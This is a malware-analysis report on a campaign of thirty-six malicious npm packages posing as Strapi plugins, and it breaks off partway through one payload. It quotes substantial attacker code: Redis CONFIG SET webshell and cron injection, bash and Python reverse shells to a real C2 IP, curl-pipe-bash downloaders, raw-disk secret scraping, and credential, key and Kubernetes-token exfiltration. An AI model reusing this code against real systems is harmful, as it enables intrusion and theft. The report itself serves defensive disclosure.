Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2
Table of Contents
TL;DR
A coordinated campaign of thirty-six malicious npm packages disguised as Strapi CMS plugins was published using four sock-puppet npm accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1). Contrary to what you might expect from a package-spam campaign, the analyzed packages carry different payloads — eight distinct variants in total — revealing a real-time attack development session against a specific target.
The packages, in chronological order of publication:
strapi-plugin-cron(02:02 UTC) — Redis RCE exploitation: injects crontab entries, writes PHP webshells and Node.js reverse shells to Strapi uploads, attempts SSHauthorized_keysinjection, reads raw disk viamknod+dd, and exfiltrates a Guardarian API module.strapi-plugin-config(02:47 UTC) — Redis + Docker overlay escape: discovers Docker overlayupperdirpaths, writes shell payloads to overlay and host-accessible directories, launches a Python reverse shell, reads raw disk for Elasticsearch and wallet credentials, and injects hooks intonode_modules.strapi-plugin-server(03:01 UTC),strapi-plugin-database(03:05 UTC),strapi-plugin-core(03:06 UTC),strapi-plugin-hooks(03:37 UTC) — Direct reverse shells: hostname-gated (hostname.includes('prod')), downloads and executes a shell script from the C2, launches bash (port 4444) and Python (port 8888) reverse shells, and writes+executes shell payloads via Redis.strapi-plugin-monitor(03:40 UTC) — Credential harvester + short C2: 8-phase attack with smartenv_keysfiltering, PostgreSQL connection string hunting, Redis access, wallet/key file search, and a 2.5-minute polling C2 loop.strapi-plugin-events(03:46 UTC) — Full credential harvester + long C2: the most comprehensive variant with 11 phases including.envfile theft, full environment dump, Strapi config exfiltration, filesystem-wide secret discovery, Redis data dump, network reconnaissance, Docker/Kubernetes secret theft, private key harvesting, and a 5-minute polling C2 loop.strapi-plugin-seed(04:45 UTC) — Direct PostgreSQL database exploitation: connects using hardcoded credentials (user_strapi/1QKtYPp18UsyU2ZwInVM), dumps Strapi webhooks andcore_storesecrets, enumerates all databases on the server, dumps tables matching wallet/transaction/deposit patterns, and explicitly probes for databases namedguardarian,guardarian_payments,payments,exchange, andcustody.[email protected](11:53 UTC) — Persistent implant: hostname-gated (hostname === 'prod-strapi'), writes a persistent C2 agent to/tmp/.node_gc.js, spawns it detached, and installs a crontab entry for survival across restarts.[email protected](15:04 UTC) — Fileless reverse shell + targeted credential theft: targets/var/www/nowguardarian-strapi/and/opt/secrets/strapi-green.env, references a Jenkins CI pipeline in code comments, sweeps/opt/secrets/and/var/www/*/, and spawns a fileless persistent reverse shell vianode -e.
Impact:
- Exploits Redis via
CONFIG SETto write crontab entries, webshells, reverse shells, and SSH keys - Attempts Docker container escape via overlay filesystem discovery
- Launches bash and Python reverse shells on ports 4444 and 8888
- Reads raw disk via
mknod+ddto extract passwords, wallet mnemonics, and SSH private keys - Connects directly to PostgreSQL using hardcoded credentials and dumps wallet/transaction tables
- Enumerates all databases on the server, probing for
guardarian,guardarian_payments,exchange,custody - Exfiltrates
.envfiles, environment variables, Strapi configuration, and private keys - Dumps Redis keys and searches for PostgreSQL connection strings
- Steals Docker/Kubernetes secrets and service account tokens
- Opens polling C2 sessions for arbitrary command execution
- Installs persistent backdoors (crontab, detached processes, fileless execution)
- Targets a specific cryptocurrency payment platform’s infrastructure
Indicators of Compromise (IoC):
| package | version | author | published | |
|---|---|---|---|---|
| 1 | strapi-plugin-cron | 3.6.8 | umarbek1233 | 14 hours ago |
| 2 | strapi-plugin-config | 3.6.8 | umarbek1233 | 13 hours ago |
| 3 | strapi-plugin-server | 3.6.8 | umarbek1233 | 13 hours ago |
| 4 | strapi-plugin-database | 3.6.8 | umarbek1233 | 13 hours ago |
| 5 | strapi-plugin-core | 3.6.8 | umarbek1233 | 13 hours ago |
| 6 | strapi-plugin-hooks | 3.6.8 | umarbek1233 | 12 hours ago |
| 7 | strapi-plugin-monitor | 3.6.8 | umarbek1233 | 12 hours ago |
| 8 | strapi-plugin-events | 3.6.8 | umarbek1233 | 12 hours ago |
| 9 | strapi-plugin-logger | 3.6.8 | umarbek1233 | 12 hours ago |
| 10 | strapi-plugin-health | 3.6.8 | kekylf12 | 13 hours ago |
| 11 | strapi-plugin-sync | 3.6.8 | kekylf12 | 13 hours ago |
| 12 | strapi-plugin-seed | 3.6.8 | kekylf12 | 13 hours ago |
| 13 | strapi-plugin-locale | 3.6.8 | kekylf12 | 13 hours ago |
| 14 | strapi-plugin-form | 3.6.8 | kekylf12 | 6 hours ago |
| 15 | strapi-plugin-notify | 3.6.8 | kekylf12 | 6 hours ago |
| 16 | strapi-plugin-api | 3.6.8 | kekylf12 | 4 hours ago |
| 17 | strapi-plugin-api | 3.6.9 | kekylf12 | 3 hours ago |
| 18 | strapi-plugin-sitemap-gen | 3.6.8 | tikeqemif26 | 2 days ago |
| 19 | strapi-plugin-nordica-tools | 3.6.10 | tikeqemif26 | 2 days ago |
| 20 | strapi-plugin-nordica-sync | 3.6.8 | tikeqemif26 | 2 days ago |
| 21 | strapi-plugin-nordica-cms | 3.6.8 | tikeqemif26 | 2 days ago |
| 22 | strapi-plugin-nordica-api | 3.6.8 | tikeqemif26 | 2 days ago |
| 23 | strapi-plugin-nordica-recon | 3.6.8 | tikeqemif26 | 2 days ago |
| 24 | strapi-plugin-nordica-stage | 3.6.8 | tikeqemif26 | 2 days ago |
| 25 | strapi-plugin-nordica-vhost | 3.6.8 | tikeqemif26 | 2 days ago |
| 26 | strapi-plugin-nordica-deep | 3.6.8 | tikeqemif26 | a day ago |
| 27 | strapi-plugin-nordica-lite | 3.6.11 | tikeqemif26 | 17 hours ago |
| 28 | strapi-plugin-nordica | 3.6.10 | umar_bektembiev1 | 3 days ago |
| 29 | strapi-plugin-finseven | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 30 | strapi-plugin-hextest | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 31 | strapi-plugin-cms-tools | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 32 | strapi-plugin-content-sync | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 33 | strapi-plugin-debug-tools | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 34 | strapi-plugin-health-check | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 35 | strapi-plugin-guardarian-ext | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 36 | strapi-plugin-advanced-uuid | 3.6.8 | umar_bektembiev1 | 3 days ago |
| 37 | strapi-plugin-blurhash | 3.6.8 | umar_bektembiev1 | 3 days ago |
| category | indicator | details | |
|---|---|---|---|
| 1 | npm account | umarbek1233 | [email protected] |
| 2 | npm account | kekylf12 | [email protected] |
| 3 | npm account | tikeqemif26 | unknown |
| 4 | npm account | umar_bektembiev1 | unknown |
| 5 | C2 server | 144[.]31[.]107[.]231:9999 | HTTP C2 |
| 6 | C2 server | 144[.]31[.]107[.]231:4444 | bash reverse shell |
| 7 | C2 server | 144[.]31[.]107[.]231:8888 | Python reverse shell |
| 8 | C2 path | /exfil/ | exfiltration endpoint |
| 9 | C2 path | /c2/<id>/ | credential harvester C2 |
| 10 | C2 path | /db/<id>/ | database exploitation |
| 11 | C2 path | /shell/ | persistent implant C2 |
| 12 | C2 path | /build/<id>/ | fileless shell C2 |
| 13 | C2 path | /bshell/ | reverse shell callback |
| 14 | credentials | user_strapi / 1QKtYPp18UsyU2ZwInVM | hardcoded PostgreSQL credentials |
| 15 | target database | guardarian | probed database name |
| 16 | target database | guardarian_payments | probed database name |
| 17 | target database | payments | probed database name |
| 18 | target database | api_payments | probed database name |
| 19 | target database | exchange | probed database name |
| 20 | target database | custody | probed database name |
| 21 | persistence | /tmp/.node_gc.js | persistent C2 agent script |
| 22 | persistence | crontab pgrep -f node_gc | crontab persistence entry |
| 23 | persistence | Redis CONFIG SET crontab | Redis-written crontab |
| 24 | webshell | /app/public/uploads/shell.php | PHP webshell |
| 25 | webshell | /app/public/uploads/revshell.js | Node.js reverse shell |
| 26 | persistence file | /tmp/redis_exec.sh | Redis exec payload |
| 27 | persistence file | /tmp/vps_shell.sh | VPS shell payload |
| 28 | persistence file | /app/node_modules/.hooks.js | injected hook |
| 29 | raw disk access | mknod /tmp/hostdisk b 8 1 | block device creation |
| 30 | raw disk access | dd if=/dev/sda1 | raw disk read |
| 31 | Redis exploitation | CONFIG SET dir + CONFIG SET dbfilename + SAVE | arbitrary file write via Redis |
| 32 | filesystem scan | find / for .env* .pem .key id_rsa* wallet* | secret discovery commands |
Analysis
Campaign Overview
Thirty-six packages were published using four npm accounts (umarbek1233 with 9 packages, kekylf12 with 7 packages, tikeqemif26 with 10 packages, umar_bektembiev1 with 10 packages) that share the same 3-file package structure and identical attack patterns. The umarbek1233 and kekylf12 accounts share the same disposable email provider (@sharebot.net), identical Node.js/npm versions (v24.13.1 / npm 11.8.0). This is a single operator using multiple sock-puppet accounts for the most targeted variants.
Notably, the umar_bektembiev1 account published the earliest wave — including strapi-plugin-nordica, strapi-plugin-finseven, strapi-plugin-guardarian-ext, and other packages — 3 days before the umarbek1233 and kekylf12 batches. The kekylf12 account was active during both later publishing windows — strapi-plugin-seed was published at 04:45 UTC (within an hour of the last umarbek1233 package), while the strapi-plugin-api versions came 7–10 hours later. The tikeqemif26 account published a further wave including the strapi-plugin-nordica-* series. This overlap suggests all four accounts were operated by the same actor.
Every package contains three files (package.json, index.js, postinstall.js), has no description, repository, or homepage, and uses version 3.6.8 to appear as a mature Strapi v3 community plugin. The package names follow the naming convention used by legitimate packages like strapi-plugin-comments or strapi-plugin-upload. All official Strapi plugins are scoped under @strapi/, making these unscoped names a social engineering choice targeting developers searching for community plugins.
The package.json across all ten packages is structurally identical:
{ "name": "strapi-plugin-events", "version": "3.6.8", "main": "index.js", "scripts": { "postinstall": "node postinstall.js" }, "license": "MIT"}The index.js exports an empty function, contributing nothing to any application:
module.exports = () => {};The entire payload lives in postinstall.js, which is different for each package. The attack executes immediately on npm install via the postinstall script — no user interaction or require() call is needed. The postinstall script runs with the privileges of the installing user, which in CI/CD environments and Docker containers often means root access.
Payload 1: Redis RCE Exploitation (strapi-plugin-cron)
The earliest package in the campaign attempts to weaponize a locally accessible Redis instance for remote code execution. This is the most aggressive payload — it goes far beyond data theft to attempt persistent host compromise through Redis.
Chunked exfiltration. Unlike the later payloads that send data in a single POST, this variant implements a chunking protocol that splits large payloads into 50KB segments with part numbering (e.g., /exfil/cr-redis-info-p1of3):
// package/postinstall.js (strapi-plugin-cron)function send(tag, data) { return new Promise(function (resolve) { var body = typeof data === 'string' ? data : JSON.stringify(data); var chunks = []; for (var i = 0; i < body.length; i += 50000) chunks.push(body.substring(i, i + 50000)); var idx = 0; (function next() { if (idx >= chunks.length) return resolve(); var s = chunks.length > 1 ? '-p' + (idx + 1) + 'of' + chunks.length : ''; var req = http.request({ hostname: VPS, port: PORT, path: '/exfil/' + tag + s, // ... }); })(); });}Redis crontab injection. The script uses the classic Redis CONFIG SET dir + SAVE technique to write arbitrary files to the filesystem. It attempts to inject a cron entry that downloads and executes a shell script from the C2 every minute:
// package/postinstall.js (strapi-plugin-cron)var cronPayload = '\\n\\n*/1 * * * * curl -s http://' + VPS + ':' + PORT + '/shell.sh | bash\\n\\n';
var cronPaths = [ { dir: '/var/spool/cron/crontabs', file: 'root' }, { dir: '/var/spool/cron', file: 'root' }, { dir: '/etc/cron.d', file: 'redis_job' }, { dir: '/etc', file: 'crontab' }, { dir: '/tmp', file: 'cron_test' },];
for (var i = 0; i < cronPaths.length; i++) { var p = cronPaths[i]; var cmd = 'CONFIG SET dir ' + p.dir + '\r\n' + 'CONFIG SET dbfilename ' + p.file + '\r\n' + 'SET cron_payload "' + cronPayload + '"\r\n' + 'SAVE\r\n'; var result = await redisCmd(cmd);}This writes the Redis database file (containing the cron payload surrounded by binary data) to the system crontab directories. Five paths are attempted, including a /tmp/cron_test dry-run to verify write capability first.
PHP webshell and Node.js reverse shell via Redis. The script writes two additional payloads to Strapi’s public uploads directory:
// package/postinstall.js (strapi-plugin-cron)// PHP webshellvar webshellPayload = '\\n<?php system($_GET["c"]); ?>\\n';var webshellCmd = 'CONFIG SET dir /app/public/uploads\r\n' + 'CONFIG SET dbfilename shell.php\r\n' + 'SET webshell "' + webshellPayload + '"\r\n' + 'SAVE\r\n';
// Node.js reverse shellvar nodeShell = '\\nvar net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);' + 'var c=new net.Socket();c.connect(' + PORT + ',"' + VPS + '",function(){' + 'c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});\\n';If Redis has write access to /app/public/uploads/, the attacker gets a PHP webshell at /uploads/shell.php?c=<command> and a Node.js reverse shell at /uploads/revshell.js.
SSH authorized_keys injection via Redis. The script attempts to write an SSH public key to /root/.ssh/authorized_keys:
// package/postinstall.js (strapi-plugin-cron)var sshPayload = '\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test root@vps\\n\\n';var sshCmd = 'CONFIG SET dir /root/.ssh\r\n' + 'CONFIG SET dbfilename authorized_keys\r\n' + 'SET sshkey "' + sshPayload + '"\r\n' + 'SAVE\r\n';The key used here (AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test) is a placeholder — the comment // Generate SSH keypair on VPS later confirms this is preparation for a real key to be injected via the C2 channel.
Raw disk read. The script creates a block device node and uses dd to read raw disk, searching for secrets in the binary data:
// package/postinstall.js (strapi-plugin-cron)run('mknod /tmp/hostdisk b 8 1 2>/dev/null');
var rawSecrets = run( 'dd if=/dev/sda1 bs=4096 count=5000 2>/dev/null | strings | ' + 'grep -iE "PASSWORD=|SECRET=|ELASTIC|WALLET|PRIVATE_KEY|MNEMONIC|API_KEY=" | sort -u | head -100', 60000);This bypasses filesystem permissions entirely — even deleted files or files in other containers sharing the same host disk can be recovered this way.
Guardarian API module exfiltration. The script specifically targets a Guardarian API integration module, confirming knowledge of the target as early as the first package:
// package/postinstall.js (strapi-plugin-cron)await send('cr-gd-module', run('find /app/exteranl-apis -type f -name "*.js" -exec cat {} + 2>/dev/null'));Note the typo exteranl-apis (instead of external-apis), which must match the target’s actual directory name — further evidence of prior reconnaissance.
Payload 2: Redis + Docker Overlay Escape (strapi-plugin-config)
Published 45 minutes after the first package, this payload adds Docker container escape techniques to the Redis exploitation approach.
Docker overlay filesystem discovery. The script parses mount output to find the Docker overlay upperdir — the host filesystem path where the container’s writable layer is stored:
// package/postinstall.js (strapi-plugin-config)var mountInfo = run('mount | grep overlay | head -3');var upperMatch = mountInfo.match(/upperdir=([^,\s]+)/);var upperDir = upperMatch ? upperMatch[1] : '';If the container has access to /proc/mounts or the mount command, the upperdir reveals the absolute host path. The script then uses Redis CONFIG SET dir to write shell payloads to the overlay path, effectively writing files visible to the host outside the container.
Strategic Redis write targets. The script expands the Redis write strategy beyond crontab to multiple directories, including the discovered overlay path:
// package/postinstall.js (strapi-plugin-config)var paths = [ { dir: upperDir, file: 'shell.sh', desc: 'overlay-root' }, { dir: '/tmp', file: 'shell.sh', desc: 'tmp' }, { dir: '/var/lib/redis', file: 'shell.sh', desc: 'redis-lib' }, { dir: '/var/tmp', file: 'shell.sh', desc: 'var-tmp' }, { dir: '/dev/shm', file: 'shell.sh', desc: 'dev-shm' }, { dir: '/app/public', file: 'shell.sh', desc: 'app-public' }, { dir: '/app/public/uploads', file: 'shell.sh', desc: 'app-uploads' },];Python reverse shell. In addition to Redis-based techniques, the script launches a direct Python reverse shell on port 4444:
// package/postinstall.js (strapi-plugin-config)execSync( 'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' + "s.connect(('" + VPS + "',4444));" + 'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + "subprocess.call(['/bin/bash','-i'])\" &>/dev/null &", { timeout: 3000 });Raw disk read for specific targets. The disk scanning expands to search for Elasticsearch credentials, Docker container configs, and cryptocurrency wallet data:
// package/postinstall.js (strapi-plugin-config)var rawDocker = run( 'dd if=/dev/sda1 bs=4096 skip=0 count=50000 2>/dev/null | strings | ' + 'grep -B1 -A1 "config.v2.json\\|HOT_WALLET\\|COLD_WALLET\\|DEPOSIT_ADDRESS\\|payment\\|MNEMONIC" | head -100', 120000);The search for HOT_WALLET, COLD_WALLET, DEPOSIT_ADDRESS, and MNEMONIC in raw disk data confirms the cryptocurrency theft objective.
Node_modules hooks injection. The script writes a reverse shell trigger into the application’s node_modules directory via Redis:
// package/postinstall.js (strapi-plugin-config)var hookPayload = '\\nrequire("child_process").execSync("curl ' + VPS + ':' + PORT + '/shell.sh|bash");\\n';var hookCmd = 'CONFIG SET dir /app/node_modules\r\n' + 'CONFIG SET dbfilename .hooks.js\r\n' + 'SET hook "' + hookPayload + '"\r\n' + 'SAVE\r\n';Payload 3: Direct Reverse Shells (strapi-plugin-server, database, core, hooks)
Four packages published between 03:01 and 03:37 UTC share an identical, simplified payload. The attacker appears to have abandoned the Redis exploitation approach (likely because it wasn’t working) and switched to direct shell execution.
Hostname gating. These packages gate on the hostname containing prod:
// package/postinstall.js (strapi-plugin-server)var hn = run('hostname').trim();await send('sv-start', hn);if (!hn.includes('prod')) { await send('sv-skip', 'not-prod'); return;}This is a looser check than Payload 7’s exact prod-strapi match — it triggers on any hostname containing “prod” (e.g., prod-strapi, production-1, prod-web).
Multi-vector reverse shell. The script attempts three different reverse shell methods in rapid succession:
// package/postinstall.js (strapi-plugin-server)// 1. Download and execute shell script from C2run('curl -s http://' + VPS + ':9999/shell.sh -o /tmp/vps_shell.sh 2>/dev/null');run('chmod +x /tmp/vps_shell.sh');execSync('nohup bash /tmp/vps_shell.sh &>/dev/null &', { timeout: 3000 });
// 2. Bash reverse shell on port 4444execSync('nohup bash -c "bash -i >& /dev/tcp/' + VPS + '/4444 0>&1" &>/dev/null &', { timeout: 3000 });
// 3. Python reverse shell on port 8888execSync( 'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' + "s.connect(('" + VPS + "',8888));" + 'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + "subprocess.call(['/bin/bash','-i'])\" &>/dev/null &", { timeout: 3000 });Three different ports (9999, 4444, 8888) are used, suggesting the attacker has multiple listeners ready and is hedging against firewall rules that might block specific ports.
Redis-assisted shell execution. As a fallback, the script writes a shell downloader via Redis and executes the resulting file:
// package/postinstall.js (strapi-plugin-server)c.write( 'CONFIG SET dir /tmp\r\nCONFIG SET dbfilename redis_exec.sh\r\n' + 'SET x "\\n#!/bin/bash\\ncurl -s http://' + VPS + ':9999/shell.sh|bash\\n"\r\n' + 'SAVE\r\nCONFIG SET dir /var/lib/redis\r\nCONFIG SET dbfilename dump.rdb\r\n');
// Later: execute the Redis-written filerun('chmod +x /tmp/redis_exec.sh 2>/dev/null; nohup bash /tmp/redis_exec.sh &>/dev/null &');Payload 4: Credential Harvester + Short C2 (strapi-plugin-monitor)
Published just 3 minutes before strapi-plugin-events, this package represents a pivot from direct exploitation to reconnaissance. The attacker stopped trying to get a shell and started collecting data.
Smart beacon with env_keys filtering. Unlike the raw hostname beacon in earlier payloads, this variant’s beacon includes a filtered list of sensitive-looking environment variable names:
// package/postinstall.js (strapi-plugin-monitor)var info = { id: ID, hostname: run('hostname').trim(), whoami: run('whoami').trim(), pwd: process.cwd(), uname: run('uname -a').trim(), ip: run('hostname -I 2>/dev/null || echo n/a').trim(), node: process.version, env_keys: Object.keys(process.env).filter(function (k) { return /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i.test(k); }),};The env_keys filter tells the attacker which sensitive variables exist before exfiltrating their values — an optimization for noisy environments with hundreds of variables.
File dump with /opt/app/ paths. The target paths shift from /app/ (standard Docker) to /opt/app/ — a convention used by some deployment tools:
// package/postinstall.js (strapi-plugin-monitor)var files = [ '/opt/app/.env', '/opt/app/config/database.js', '/opt/app/config/server.js', '/opt/app/config/plugins.js', '/opt/app/package.json', '/root/.env', '/home/strapi/.env', '/etc/hostname', process.cwd() + '/.env', process.cwd() + '/config/database.js',];PostgreSQL connection string hunting. A new phase not present in any earlier payload:
// package/postinstall.js (strapi-plugin-monitor)var pgstr = run("grep -r 'postgres://' /opt/app/ 2>/dev/null; grep -r 'DATABASE_URL' /opt/app/ 2>/dev/null").slice( 0, 5000);await post('/c2/' + ID + '/pgstr', pgstr);Shorter C2 loop. The polling C2 runs for 30 rounds at 5-second intervals (2.5 minutes), compared to the 60 rounds (5 minutes) in the next payload:
// package/postinstall.js (strapi-plugin-monitor)for (var round = 0; round < 30; round++) { var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round })); if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop') { var result = run(cmdResp.trim()); await post( '/c2/' + ID + '/result', JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) }) ); } await new Promise(function (r) { setTimeout(r, 5000); });}Payload 5: Full Credential Harvester + Long C2 (strapi-plugin-events)
Published 6 minutes after strapi-plugin-monitor, this is the most comprehensive reconnaissance payload in the campaign. It extends Payload 4 with broader file discovery, a full environment dump, Redis data extraction, network topology mapping, Docker/Kubernetes secret theft, and a longer C2 window.
C2 infrastructure setup. The script establishes communication with the hardcoded server:
// package/postinstall.js (strapi-plugin-events)var http = require('http');var exec = require('child_process').execSync;var fs = require('fs');var VPS = '144.31.107.231';var PORT = 9999;var ID = 'guard-' + Math.random().toString(36).slice(2, 8);Each infected host generates a random session ID (e.g., guard-k7f2m9) used to namespace all C2 communications. The post() helper sends data via plain HTTP POST to the C2 server with a 15-second timeout.
Phase 1: Beacon. The script sends system reconnaissance data to /c2/<id>/beacon:
// package/postinstall.js (strapi-plugin-events)var info = { id: ID, hostname: run('hostname').trim(), whoami: run('whoami').trim(), pwd: process.cwd(), uname: run('uname -a').trim(), ip: run('hostname -I 2>/dev/null || echo n/a').trim(), node: process.version,};await post('/c2/' + ID + '/beacon', info);This gives the attacker an immediate inventory of the compromised host: username, hostname, kernel version, internal IP, and Node.js version.
Phase 2: .env file theft. The script reads .env files from hardcoded paths targeting common Strapi deployment layouts:
// package/postinstall.js (strapi-plugin-events)var envPaths = [ '/app/.env', '/app/.env.production', '/app/.env.local', '/data/.env', '/home/strapi/.env', '/home/node/.env', '/opt/app/.env', '/srv/.env', process.cwd() + '/../.env', process.cwd() + '/../../.env', process.cwd() + '/../../../.env',];The paths /app/.env, /home/strapi/.env, and /home/node/.env target Docker containers running Strapi with common base images. The relative path traversals (../../.env) walk up from the node_modules install directory to reach the project root.
Phase 3: Environment variable dump. The script runs env via shell to capture every environment variable, including database connection strings, cloud provider credentials, and JWT secrets that Strapi applications commonly configure through environment variables.
// package/postinstall.js (strapi-plugin-events)var envDump = run('env');await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));Phase 4: Strapi configuration files. The script specifically targets Strapi’s configuration directory structure:
// package/postinstall.js (strapi-plugin-events)var configs = [ '/app/config/database.js', '/app/config/server.js', '/app/config/plugins.js', '/app/config/middleware.js', '/app/config/functions/bootstrap.js', '/app/config/environments/production/database.json', '/app/package.json', '/app/yarn.lock',];These files contain database connection details, API keys for third-party plugins, and the application’s dependency tree.
Phase 5: Filesystem-wide .env discovery. The script uses find to locate every .env file on the system, up to 5 directories deep:
// package/postinstall.js (strapi-plugin-events)var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null");await post('/c2/' + ID + '/allenv', allEnv);This is the behavior flagged by our dynamic analysis system. It catches .env files in non-standard locations that the hardcoded paths in Phase 2 would miss.
Phase 6: Redis data dump. The script opens a raw TCP connection to the local Redis instance and dumps all keys:
// package/postinstall.js (strapi-plugin-events)var net = require('net');var c = new net.Socket();c.connect(6379, '127.0.0.1', function () { c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n');});Strapi deployments commonly use Redis for caching and session storage. This dumps server info, database size, and every key name, which can include session tokens and cached API responses.
Phase 7: Network reconnaissance. The script collects network topology information:
// package/postinstall.js (strapi-plugin-events)var internal = run( 'cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null');This maps the internal network for lateral movement: DNS resolvers, ARP neighbors, and routing tables reveal other services and hosts reachable from the compromised container.
Phase 8: Docker and Kubernetes secrets. The script attempts to read container orchestration secrets:
// package/postinstall.js (strapi-plugin-events)var docker = run( 'ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null');If the Docker socket is accessible, the attacker can control the host’s Docker daemon. The Kubernetes service account token enables API access to the cluster, potentially allowing privilege escalation beyond the compromised pod.
Phase 9: Private key and wallet theft. The script uses find to locate cryptographic keys and cryptocurrency wallet files:
// package/postinstall.js (strapi-plugin-events)var keys = run( "find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null");It then reads up to 10 of the discovered files and sends their contents to the C2 server. This captures TLS private keys, SSH keys, and any files with “private” or “secret” in their name.
Phase 10: Strapi database access attempt. The script attempts to load the application’s knex database driver and configuration:
// package/postinstall.js (strapi-plugin-events)var dbQuery = run( "node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1");Phase 11: Polling C2 loop. The final phase establishes a persistent command-and-control channel. The script polls the C2 server every 5 seconds for 60 rounds (approximately 5 minutes), executing any command the server returns:
// package/postinstall.js (strapi-plugin-events)for (var round = 0; round < 60; round++) { var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round })); if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') { var result = run(cmdResp.trim()); await post( '/c2/' + ID + '/result', JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) }) ); } await new Promise(function (r) { setTimeout(r, 5000); });}This gives the attacker interactive shell access to the compromised host. The server responds with nop or ok when idle, and with a shell command when active. Results are sent back to /c2/<id>/result. Using execSync means each command runs with the full privileges of the Node.js process.
Data Exfiltration
All stolen data is sent via plain HTTP POST to 144[.]31[.]107[.]231:9999. The C2 protocol uses path-based routing:
| Path | Data |
|---|---|
/c2/<id>/beacon | System info (hostname, user, IP, kernel) |
/c2/<id>/env | Individual .env file contents |
/c2/<id>/envdump | Full env output |
/c2/<id>/config | Strapi configuration files |
/c2/<id>/allenv | List of all .env files on disk |
/c2/<id>/sortedenv | Sorted environment variables |
/c2/<id>/redis-full | Redis server info and all keys |
/c2/<id>/network | /etc/hosts, resolv.conf, ARP, routes |
/c2/<id>/docker | Docker socket, secrets, K8s tokens |
/c2/<id>/keys | List of private key files found |
/c2/<id>/keyfile | Contents of individual key files |
/c2/<id>/result | Output of C2 commands |
No encryption is used. All data, including private keys and credentials, is transmitted in plaintext over HTTP.
Payload 6: PostgreSQL Database Exploitation (strapi-plugin-seed)
Published at 04:45 UTC under the kekylf12 account — just one hour after the last umarbek1233 package — this payload represents the most direct evidence of prior compromise. It connects to the target’s PostgreSQL database using hardcoded credentials, confirming the attacker already had access before this campaign began.
Hardcoded database credentials. The script uses knex (Strapi’s database driver) with real credentials baked into the source:
// package/postinstall.js (strapi-plugin-seed)var knex = require('knex');var db = knex({ client: 'pg', connection: { host: process.env.DATABASE_HOST || '127.0.0.1', port: process.env.DATABASE_PORT || 5432, user: process.env.DATABASE_USERNAME || 'user_strapi', password: process.env.DATABASE_PASSWORD || '1QKtYPp18UsyU2ZwInVM', database: process.env.DATABASE_NAME || 'strapi', },});The fallback values user_strapi and 1QKtYPp18UsyU2ZwInVM are not generic defaults — they are the target’s actual database credentials. The code first checks environment variables (which would be set in the target’s container), falling back to hardcoded values if the variables are missing.
Strapi data dump. The script queries Strapi-specific tables for secrets:
// package/postinstall.js (strapi-plugin-seed)// Strapi webhooks (internal API URLs)var webhooks = await db.raw('SELECT * FROM strapi_webhooks');
// core_store — filtered for sensitive valuesvar store = await db.raw('SELECT * FROM core_store');for (var i = 0; i < store.rows.length; i++) { var row = store.rows[i]; var val = String(row.value || ''); if ( val.indexOf('secret') >= 0 || val.indexOf('token') >= 0 || val.indexOf('key') >= 0 || val.indexOf('api') >= 0 || val.indexOf('webhook') >= 0 || val.indexOf('grant') >= 0 || val.indexOf('password') >= 0 || val.indexOf('auth') >= 0 || row.key.indexOf('grant') >= 0 || row.key.indexOf('users') >= 0 ) { await post('/db/' + ID + '/store-' + i, JSON.stringify(row)); }}
// users-permissions settings (OAuth provider secrets)var perms = await db.raw( "SELECT * FROM core_store WHERE key LIKE '%users-permissions%' OR key LIKE '%grant%' OR key LIKE '%provider%'");Cross-database enumeration. The script lists all databases on the PostgreSQL server, then connects to each non-system database and dumps tables matching cryptocurrency-related patterns:
// package/postinstall.js (strapi-plugin-seed)var dbs = await db.raw('SELECT datname FROM pg_database WHERE datistemplate = false');
